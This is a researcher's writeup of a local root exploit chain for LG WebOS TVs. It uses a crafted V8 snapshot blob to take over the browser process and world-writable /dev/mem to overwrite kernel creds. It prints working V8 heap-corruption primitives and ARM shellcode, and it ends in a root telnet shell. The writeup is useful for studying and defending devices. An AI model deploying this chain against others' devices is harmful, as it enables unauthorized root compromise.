V8 Heap pwn and /dev/memes - WebOS Root LPE

By David Buchanan, 28th of December 2021

This is a writeup for my latest WebOS local root exploit chain, which I'm calling WAMpage. I'm very proud of it, and very impatient, which is why I'm dropping it as an 0day so I can show it off ASAP.

A screenshot of the exploit in action

This exploit is mainly of interest to other researchers - if you just want to root your TV, you probably want RootMyTV, which offers a reliable 1-click persistent root. Note that this exploit is non-persistent, and currently only works with 32-bit devices on WebOS 4.x, but with some more work it should be possible to achieve broader compatibility.

I'm publishing this as a standalone exploit because I don't think it would work very well as part of RootMyTV. I feel reasonably ethical in dropping it as an 0day because it requires sideloading an app as a prerequisite, so the risk of someone being unwittingly compromised is low. I am not participating in LG's bug bounty program because their bounties are too low. If you have an LG TV and you're paranoid about security, don't connect it to the internet; LG does not take security seriously enough, and WebOS is full of holes.

Having never written a V8 exploit before, I always regarded JS engine exploits as an impossible black magic. However, I eventually mastered the dark arts, thanks to a few things:

One speed-bump was that my TV runs a 32-bit V8 build. Almost all V8 exploit writeups I could find were for 64-bit versions, which have subtly different heap layouts. Fortunately, I was able to adapt those techniques without too much hassle.

Getting a Foothold

This exploit starts with enabling Developer Mode, which is a feature officially supported by LG. Developer Mode gives you access to a chroot-jailed SSH shell, and the ability to sideload apps. Apps can either contain native code, or be html/js based. Native apps run inside a Linux jail as an unprivileged user (just like the developer mode SSH server), whereas "web" apps rely on the browser engine itself to provide the sandboxing i.e. you can only use standard web APIs, and Luna Service APIs.

WebOS's browser engine can be found at /usr/bin/WebAppMgr, which is based on Chromium (which uses the V8 JavaScript engine). I'm going to call it WAM for short.

WAM itself is neither sandboxed nor jailed, which makes it an attractive target for exploitation. In theory, you could use an n-day browser exploit against it, but I didn't have any luck with that (although I might revisit it at some point).

Eventually, I found a way to compromise WAM without any V8 0days or n-days. Which leads us on to...

V8 Snapshot Blobs

V8 has a feature called snapshots, which I'll let V8 developer Yang Guo explain:

The JavaScript specification includes a lot of built-in functionality, from math functions to a full-featured regular expression engine. Every newly-created V8 context has these functions available from the start. For this to work, the global object (for example, the window object in a browser) and all the built-in functionality must be set up and initialized into V8’s heap at the time the context is created. It takes quite some time to do this from scratch.

Fortunately, V8 uses a shortcut to speed things up: just like thawing a frozen pizza for a quick dinner, we deserialize a previously-prepared snapshot directly into the heap to get an initialized context. On a regular desktop computer, this can bring the time to create a context from 40 ms down to less than 2 ms. On an average mobile phone, this could mean a difference between 270 ms and 10 ms.

Applications other than Chrome that embed V8 may require more than vanilla Javascript. Many load additional library scripts at startup, before the “actual” application runs. For example, a simple TypeScript VM based on V8 would have to load the TypeScript compiler on startup in order to translate TypeScript source code into JavaScript on-the-fly.

Since almost every app in WebOS is made with JavaScript, and smart TVs are more like the "average mobile phone" scenario, LG makes extensive use of this feature. For example, let's look inside the Settings app:

/usr/palm/applications/com.palm.app.settings # ls -al
total 9043
drwxr-xr-x    5 root     root          1830 Nov 13  2020 .
drwxr-xr-x   83 root     root          3153 Nov 13  2020 ..
-rw-r--r--    1 root     root           563 Nov 13  2020 appinfo.json
drwxr-xr-x    4 root     root            54 Nov 13  2020 assets
-rw-r--r--    1 root     root          5526 Nov 13  2020 icon.png
-rw-r--r--    1 root     root         15382 Nov 13  2020 index.html
-rw-r--r--    1 root     root        193613 Nov 13  2020 main.css
-rw-r--r--    1 root     root       2112580 Nov 13  2020 main.js
drwxr-xr-x    3 root     root            29 Nov 13  2020 node_modules
drwxr-xr-x   70 root     root           752 Nov 13  2020 resources
-rw-r--r--    1 root     root       5961828 Nov 13  2020 snapshot_blob.bin
/usr/palm/applications/com.palm.app.settings # cat appinfo.json 
{
        "id": "com.palm.app.settings",
        "version": "4.0.1",
        "vendor": "Palm",
        "type": "web",
        "main": "index.html",
        "title": "Settings",
        "sysAssetsBasePath": "assets",
        "icon": "icon.png",
        "uiRevision": 2,
        "transparent": true,
        "defaultWindowType": "overlay",
        "visible": false,
        "lockable": false,
        "noSplashOnLaunch": true,
        "disableBackHistoryAPI": true,
        "supportQuickStart": false,
        "trustLevel": "trusted",
        "accessibility": {
                "supportsAudioGuidance": true
        },
        "voiceControl": "manual",
        "usePrerendering": true,
        "v8SnapshotFile": "snapshot_blob.bin"
}

As you can see, there's a snapshot_blob.bin file, which is referenced in the app's appinfo.json manifest under the key v8SnapshotFile. As far as I can tell, LG doesn't document this v8SnapshotFile key anywhere publicly, but there's nothing stopping us from using it in our own apps.

So, we can launch our own apps with a custom V8 heap setup. When I first discovered this, in March 2021, I noted:

Another theoretical LPE vector: webapps can specify a "v8SnapshotFile", which is loaded by WebAppMgr

I suspect these snapshot files are not expected to come from untrusted sources

and perhaps a crafted snapshot file can takeover WebAppMgr

This sounded painful to exploit, so I never bothered trying. It remained theoretical until December 2021, when I tried it out on a whim. To check the viability, I:

V8 version 9.9.0 (candidate)
d8> mem[0x1337]
0
d8> mem[0x100000]
Received signal 11 SEGV_MAPERR 559a400aeca0

==== C stack trace ===============================

 [0x559a3e489bc7]
 [0x7f70745123c0]
 [0x2e4407ecfb4d]
[end of stack trace]
Segmentation fault (core dumped)

BOOM! And there we have it - proof that a corrupted startup blob can corrupt V8's heap. You might notice that this test was done with the latest V8 version. Despite this, there is no V8 0day here, it's just how it's intended to work (as far as I can tell). The bug is that LG allows an unprivileged user to supply custom snapshots to a (relatively) privileged instance of V8.

To set up for the actual exploit, this is the JS that I fed into mksnapshot:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
var obj = {"A": 1};

var oob1 = [
    new Array(0x137).fill(0),
    [1.1, 2.2, 3.3, 4.4] // FAST_DOUBLE_ELEMENTS
];

var oob2 = [
    new Array(0x139).fill(0),
    [obj, obj, obj, obj] // FAST_ELEMENTS
];

There are no vulnerabilities here, yet.

I used a python script to scan the blob for the array lengths (0x137 and 0x139), and then rewrite them to be one element longer. I picked 0x137 and 0x139 because they were values that didn't show up in the blob elsewhere, so I could search for them easily (Note: this version of V8 didn't seem to have a checksum in its snapshot blobs). I never bothered to fully understand the blob file format, but evidently, editing these lengths directly does not resize the underlying backing buffer. This effectively means we can read out of bounds of those arrays, which we can use to construct a full exploit.

This setup is almost identical to that of the oob-v8 CTF challenge, from StarCTF 2019, so we can use the same exploit strategies.

V8 Exploit Development

There were two writeups that I found particularly useful:

My exploit is largely derived from these, with changes to support the 32-bit V8 build that we're dealing with here.

If you want to fully understand my V8 exploit, I suggest you read both of those, and then my exploit source code, which I commented liberally. But before you do that, here's a summary:

The exploit is actually fairly concise, so I'll show off the best bits. The addrof() and fakeobj() primitives are set up like so:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// give friendlier names to our variables from the snapshot blob
var overflow1 = oob1[0];
var arr1      = oob1[1];
var overflow2 = oob2[0];
var arr2      = oob2[1];

// use oob reads to get pointers to <Map(FAST_DOUBLE_ELEMENTS)> and <Map(FAST_ELEMENTS)>
var fast_double_elements_map = overflow1[0x137];
var fast_elements_map = overflow2[0x139];

function addrof(obj) {
    // we write the data as an Element (i.e. a pointer)
    overflow1[0x137] = fast_elements_map;
    arr1[0] = obj;

    // and then cause type confusion to read it as a double,
    // which lets us retreive the address
    overflow1[0x137] = fast_double_elements_map;
    var addr = ftoi(arr1[0])[0];
    return addr;
}

function fakeobj(addr) {
    addr |= 1; // set the low bit to mark it as a heap object

    // write as a double
    overflow1[0x137] = fast_double_elements_map;
    arr1[0] = itof(addr, addr);

    // read as an object
    overflow1[0x137] = fast_elements_map;
    var obj = arr1[0];

    // revert to doubles because this probably makes gc happier
    overflow1[0x137] = fast_double_elements_map;

    return obj;
}

And this is all it takes to set up the arbitrary read and write primitives:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
var floatarray = [itof(addrof(fast_double_elements_map), 8), 1.2, 1.3, 1.4];
var fake = fakeobj(addrof(floatarray)+(8*4));

function arbread32(addr) {
    floatarray[1] = itof((addr-8)|1, 8); // fake fixedarray
    var result = ftoi(fake[0])[0];
    floatarray[1] = itof(addrof(fast_double_elements_map), 8);
    // ^ put a valid pointer back to make gc happy
    return result;
}

function arbwrite32(addr, val) {
    floatarray[1] = itof((addr-8)|1, 8); // fake fixedarray
    var second = ftoi(fake[0])[1];
    fake[0] = itof(val, second);
    floatarray[1] = itof(addrof(fast_double_elements_map), 8);
    // ^ put a valid pointer back to make gc happy
}

You'll have to read the full source for the rest of the details, but, Spoiler Alert: we get shellcode execution at the end.

Getting Root With /dev/memes

WAM runs as user "wam", which unfortunately is not root.

Compromising WAM gets us access to the private Luna IPC bus, which opens up a lot of new IPC-based attack surface (for example, DownloadManager). However, my goal for this exploit chain was to not use any IPC-based exploits, so I looked elsewhere.

If you spend any time exploring the WebOS filesystem, one thing you'll notice is the file permissions on /dev/mem:

~ # stat /dev/mem
  File: /dev/mem
  Size: 0               Blocks: 0          IO Block: 4096   character special file
Device: 6h/6d   Inode: 2052        Links: 1     Device type: 1,1
Access: (0666/crw-rw-rw-)  Uid: (    0/    root)   Gid: (  505/compositor)
Access: 1970-01-01 01:00:00.000000000
Modify: 1970-01-01 01:00:00.000000000
Change: 2019-01-01 00:00:16.000000000

/dev/mem allows direct access to the physical address space. The keys to the castle. LG, in their infinite wisdom, decided to make it world-writeable. This was first exploited by the GetMeIn exploit in early 2019. Rather than fix the permissions, LG just adjusted the jail config, so that jailed apps couldn't access it. (Note: on some TV models, /dev/mem does not seem to be world-writable, but is still group-writeable, from the same group that WAM runs as).

facepalm dot jpeg

WebAppMgr isn't jailed, and we just pwned it. So now we have access to /dev/mem.

The Linux kernel keeps a struct cred structure for each task which, among other things, records the uid of the process. If we can find the struct cred for our own process, we can rewrite it to make ourselves root. This is exactly what the GetMeIn exploit did, through a linear search of all RAM.

/dev/mem accesses the raw physical address space, and scanning through all of RAM requires knowing it's physical address ranges (you can guess, but if you read a bad address you can get a full system crash). GetMeIn solved this problem by reading from /proc/iomem, which on my system looks like this:

00000000-15ffffff : System RAM
  00108000-00fd5837 : Kernel code
  01076000-0196576f : Kernel data
17000000-17ffffff : System RAM
18000000-180003ff : /thermal@0x18000000
18010800-18010bff : emmc
18012000-180123fe : /usb/ehci_top@0x18012000
18012400-180127fe : /usb/ohci_top@0x18012400
18050000-18058ffe : /usb/xhci_top@0x18050000
18100000-18103fff : 18100000.gpu
18200000-1b1fffff : System RAM
1c200000-5fffffff : System RAM
b8000100-b8000220 : CRT_RESET
  b8000100-b8000220 : CRT_RESET
    b8000100-b8000220 : CRT_RESET
      b8000100-b8000220 : CRT_RESET
        b8000100-b8000220 : CRT_RESET
b8060010-b8060058 : STANDBY
  b8060010-b8060058 : STANDBY
    b8060010-b8060058 : STANDBY
      b8060010-b8060058 : STANDBY
        b8060010-b8060058 : STANDBY
b8061300-b80613dc : DDC
b8061a00-b8061adc : DDC
b8061b00-b8061bdc : DDC
b8061c00-b8061cdc : DDC
b8061d00-b8061ddc : DDC

The "System RAM" ranges are what we want. However, in more modern kernel versions, reading /proc/iomem requires CAP_SYS_ADMIN privileges (effectively, root), so we can't use this method. In theory, we could hardcode the address ranges in our exploit, but I don't like hardcoding things unless it's absolutely necessary.

The contents of /proc/iomem are populated by the Linux kernel, and it does this by traversing a tree structure. We could implement this ourselves, using /dev/mem to read structs and pointers, if we know where the first one is. Fortunately, the root of this tree, iomem_resource, is an exported symbol, so we can query its address by reading from /proc/kallsyms (which LG graciously allows non-root users to do). This gets us its virtual address, but we need its physical address to read it from /dev/mem. Fortunately, the virtual kernel base address appears to always be at the same fixed offset in physical memory.

I implemented this technique of walking the iomem_resource tree to obtain the physical memory map, and then I realised... If I'm already walking kernel structs, why not just directly iterate through the task list? So, I switched to doing that instead.

Starting off at the init_task symbol, which points to a task_struct, we can iterate through all tasks by walking the task_struct->tasks linked-list, just like Volatility's linux_pslist command does.

For each task, we need to see if it's our task, and if it is, elevate its creds to root. Ideally, I'd do this by reading its pid field, and seeing if it matches our own. For some reason, I couldn't get that to work, so I came up with a convoluted system of patching the task's saved gid unconditionally and seeing if our own saved gid changed (by calling getresgid()). If our saved gid changed then we know we found the right task, and we fully elevate the creds to root. If our saved gid didn't change, then we restore the original and continue our search.

Once we've elevated ourselves to root, we spawn a notification message to indicate success, and spawn a telnet server on port 31337, which gives access to a root shell.

Joining The Dots

The initial V8 exploit left us with shellcode execution, and my /dev/memes exploit was written in python, so I need to glue them together somehow.

Just like writing good software, good exploit chains should consist of independently testable components, wherever possible (otherwise you'll have a hard time debugging it). To this end, I wrote two different shellcodes. One is called shellcode.s, and its job is simply to mprotect() a larger buffer to make it RWX, and then jump to it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
_start:
    ldr r0, target
    mov r1, #0x4000     @ should be more than enough space
    mov r2, #7          @ rwx
    mov r7, #125        @ mprotect
    swi #0

    ldr r0, target
    mov pc, r0

target: .word 0xdeadbeef @ placeholder

This allows us to bootstrap a longer shellcode payload. The initial shellcode has to be relatively small, to make sure it can fit where we're writing it to, without clobbering any adjacent code. The second shellcode is called python_shellcode_stub.s. This shellcode spawns a python process, and pipes up to 64kb of python source code into it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
_start:
    adr r0, pipefd
    mov r7, #42        @ pipe
    swi #0

    ldr r0, pipewrite
    adr r1, sourcecode
    ldr r2, sourcelen
    mov r7, #4         @ write
    swi #0

    ldr r0, pipewrite
    mov r7, #6
    swi #0             @ close

    ldr r0, piperead
    mov r1, #0
    mov r7, #63        @ dup2
    swi #0

    adr r0, prog
    adr r1, argv
    str r0, [r1]
    mov r2, #0
    mov r7, #11       @ execve
    swi #0

prog: .asciz "/usr/bin/python2"
.align 4
argv: .word 0, 0
pipefd:
piperead: .word 0
pipewrite: .word 0
sourcelen: .word SOURCELEN
sourcecode:
@ to be appended

I also wrote a small shellcode tester program, shellcode_runner.c, which can be used to execute the python shellcode directly, for testing purposes.

The V8 exploit is responsible for loading both pieces of shellcode into memory, and writing a pointer to the second-stage shellcode into the first-stage shellcode, so it knows where to find it. And that's all there is to it!

If you run the whole exploit from start to finish, you should see a success notification (like in the screenshot at the start of this article). And then, the moment you've been waiting for:

$ telnet 192.168.0.74 31337
Trying 192.168.0.74...
Connected to 192.168.0.74.
Escape character is '^]'.

webOS TV 4.9.0 LGwebOSTV

/ # id
uid=0(root) gid=0(root) groups=29(audio),44(video),505(compositor),506(pulse-access),509(se),777(crashd)

Summary

We use a corrupted V8 snapshot blob to take over WebAppMgr, giving us unjailed and unsandboxed code execution under the "wam" user. From there, we used direct access to /dev/mem to locate and modify our own struct cred on the kernel's heap, to elevate ourselves to root. In my testing, the exploit is 100% reliable.

Thank you LG, for making such a fun CTF!

It's possible that other products embedding Chromium/V8 have similar snapshot-related vulnerabilities, but I haven't checked. V8's documentation regarding this could perhaps make it clear that snapshots should only be loaded from trusted sources (although, snapshots are not a particularly well-documented feature in the first place...).

Source code: https://github.com/DavidBuchanan314/WAMpage